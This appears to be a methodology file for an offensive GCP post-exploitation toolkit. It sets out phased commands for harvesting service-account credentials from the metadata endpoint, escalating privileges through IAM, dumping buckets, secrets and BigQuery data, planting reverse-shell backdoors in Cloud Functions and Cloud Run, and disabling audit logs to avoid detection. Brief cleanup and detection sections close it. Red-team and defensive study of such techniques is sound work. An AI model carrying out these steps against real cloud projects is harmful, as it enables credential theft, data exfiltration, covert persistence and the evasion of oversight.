Gcp Postexploit

---
name: gcp-postexploit
description: GCP post-exploitation for IAM privilege escalation, data exfiltration, persistence, and operational security via google-cloud SDK
category: post-exploitation
tags: [gcp, cloud, post-exploitation, iam, gcs, cloud-functions, secret-manager, credential-access, defense-evasion, persistence]
tech_stack: [gcp, gcloud-cli, gsutil]
cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-284]
chains_with: [T1078.004, T1530, T1537, T1562.008, T1098, T1552.005]
prerequisites: [T1078.004, T1552.005]
version: "1.0"
---

# GCP Post-Exploitation Methodology

GCP post-exploitation uses gcloud CLI and the GCE metadata endpoint (via native fetch) to perform privilege escalation, data exfiltration, and persistence after compromising service account credentials or gaining Compute Engine instance access. No Python dependency — all operations use native TypeScript with gcloud/gsutil CLI calls.

## Prerequisites

Before deploying gcphook tools, verify:

1. **Valid GCP credentials** — application default credentials, service account key, or metadata endpoint
2. **gcloud CLI installed** — `gcloud version`
3. **Current identity** — `gcloud auth list` to confirm active account
4. **Project** — set via `--project` or default project

```bash
# Quick prerequisite check
gcloud auth list                  # verify credentials
gcloud config get-value project   # verify project
gcloud version                    # verify CLI
```

## Kill Chain Phases

### Phase 1 — Situational Awareness (First 60 seconds)

Understand the GCP environment and current permissions.

| Action | Command | Purpose |
|--------|---------|---------|
| Project enumeration | `gcphook gcp_enum` | Map IAM bindings, service accounts, Compute, GCS, SQL, Functions, GKE |
| Metadata harvest | `gcphook metadata_harvest_gcp` | Extract SA credentials from metadata endpoint (metadata.google.internal) |
| Audit log status | `gcphook audit_log_tamper --action status` | Check audit logging before noisy operations |

### Phase 2 — Privilege Escalation

Exploit IAM misconfigurations to gain higher privileges.

| Action | Command | Purpose |
|--------|---------|---------|
| SA impersonation | `gcphook gcp_privesc --method impersonate --target-sa SA_EMAIL` | Generate access token via SA impersonation |
| setIamPolicy | `gcphook gcp_privesc --method set_iam_policy` | Self-escalate via project IAM policy modification |
| actAs check | `gcphook gcp_privesc --method act_as --target-sa SA_EMAIL` | Check actAs permission for SA attachment |
| Token creation | `gcphook gcp_privesc --method token_create --target-sa SA_EMAIL` | Generate identity token for SA |

### Phase 3 — Data Exfiltration

Extract sensitive data from GCP services.

| Action | Command | Purpose |
|--------|---------|---------|
| GCS dump | `gcphook gcs_dump` | Find and download sensitive files from all GCS buckets |
| Secrets extraction | `gcphook secrets_dump_gcp` | Extract all secrets from Google Secret Manager |
| Disk snapshot | `gcphook compute_snapshot --disk DISK --zone ZONE` | Snapshot Compute Engine disks for offline access |
| BigQuery dump | `gcphook bigquery_dump --dataset DATASET --query SQL` | Extract data from BigQuery datasets |
| Pub/Sub sniff | `gcphook pubsub_sniff --topic TOPIC` | Intercept messages from Pub/Sub topics |

### Phase 4 — Persistence

Establish persistent access to the GCP environment.

| Action | Command | Purpose |
|--------|---------|---------|
| Function backdoor | `gcphook cloudfunc_backdoor --function-name NAME --callback-url URL` | Inject reverse shell into Cloud Function |
| Function creation | `gcphook cloudfunc_backdoor --method create --function-name NAME --callback-url URL` | Create new backdoor Cloud Function |
| Cloud Run backdoor | `gcphook cloud_run_backdoor --service NAME --image IMAGE --callback-url URL` | Deploy Cloud Run service with exfil container |
| GKE enum | `gcphook gke_enum --cluster NAME --zone ZONE` | Enumerate GKE clusters, extract kubeconfig |

### Phase 5 — Operational Security

Reduce detection footprint.

| Action | Command | Purpose |
|--------|---------|---------|
| Disable data access logs | `gcphook audit_log_tamper --action disable_data_access` | Remove data access audit logging |
| Modify log sinks | `gcphook audit_log_tamper --action modify_sink` | Filter sensitive operations from log sinks |

### Phase 6 — Cleanup (MANDATORY)

```
gcphook cleanup_gcp
```

The cleanup tool:
1. Deletes CyberStrike-created Compute Engine snapshots (cs-* prefix)
2. Removes backdoor Cloud Functions
3. Removes Cloud Run services (cs-* prefix)
4. Removes Pub/Sub sniff subscriptions (cs-sniff-* prefix)
5. Removes CyberStrike-added IAM bindings
6. Restores audit logging configuration (re-enables data access logs)
7. Supports `--dry-run` for safe preview

## Detection Considerations

GCP post-exploitation tools are detectable by:
- **Cloud Audit Logs** — All admin and data access API calls logged. Key events: SetIamPolicy, GenerateAccessToken, functions.create
- **Security Command Center** — Anomalous IAM behavior, privilege escalation detection
- **VPC Flow Logs** — Network traffic to metadata endpoint and external C2
- **Access Transparency** — Logs of Google staff access (Enterprise feature)
- **Organization Policy** — Constraints on service account key creation, external sharing
- **Event Threat Detection** — Anomalous service account usage, credential compromise indicators

## Program Reference

| Program | Technique | MITRE ATT&CK |
|---------|-----------|---------------|
| gcp_enum | Project-wide IAM/compute/storage enumeration | T1087.004 — Cloud Account |
| gcp_privesc | IAM privilege escalation via impersonation/setIamPolicy | T1098 — Account Manipulation |
| gcs_dump | GCS bucket data exfiltration | T1530 — Data from Cloud Storage |
| metadata_harvest_gcp | Metadata endpoint credential extraction | T1552.005 — Cloud Instance Metadata API |
| secrets_dump_gcp | Secret Manager extraction | T1555.006 — Cloud Secrets Management Stores |
| cloudfunc_backdoor | Cloud Function backdoor for persistence | T1525 — Implant Internal Image |
| audit_log_tamper | Audit log evasion | T1562.008 — Disable Cloud Logs |
| compute_snapshot | Disk snapshot for data exfiltration | T1537 — Transfer Data to Cloud Account |
| bigquery_dump | BigQuery dataset and table extraction | T1530 — Data from Cloud Storage |
| gke_enum | GKE cluster enumeration and credential extraction | T1613 — Container and Resource Discovery |
| cloud_run_backdoor | Cloud Run service backdoor deployment | T1525 — Implant Internal Image |
| pubsub_sniff | Pub/Sub message interception | T1557 — Adversary-in-the-Middle |
| cleanup_gcp | Remove all CyberStrike artifacts | T1070 — Indicator Removal |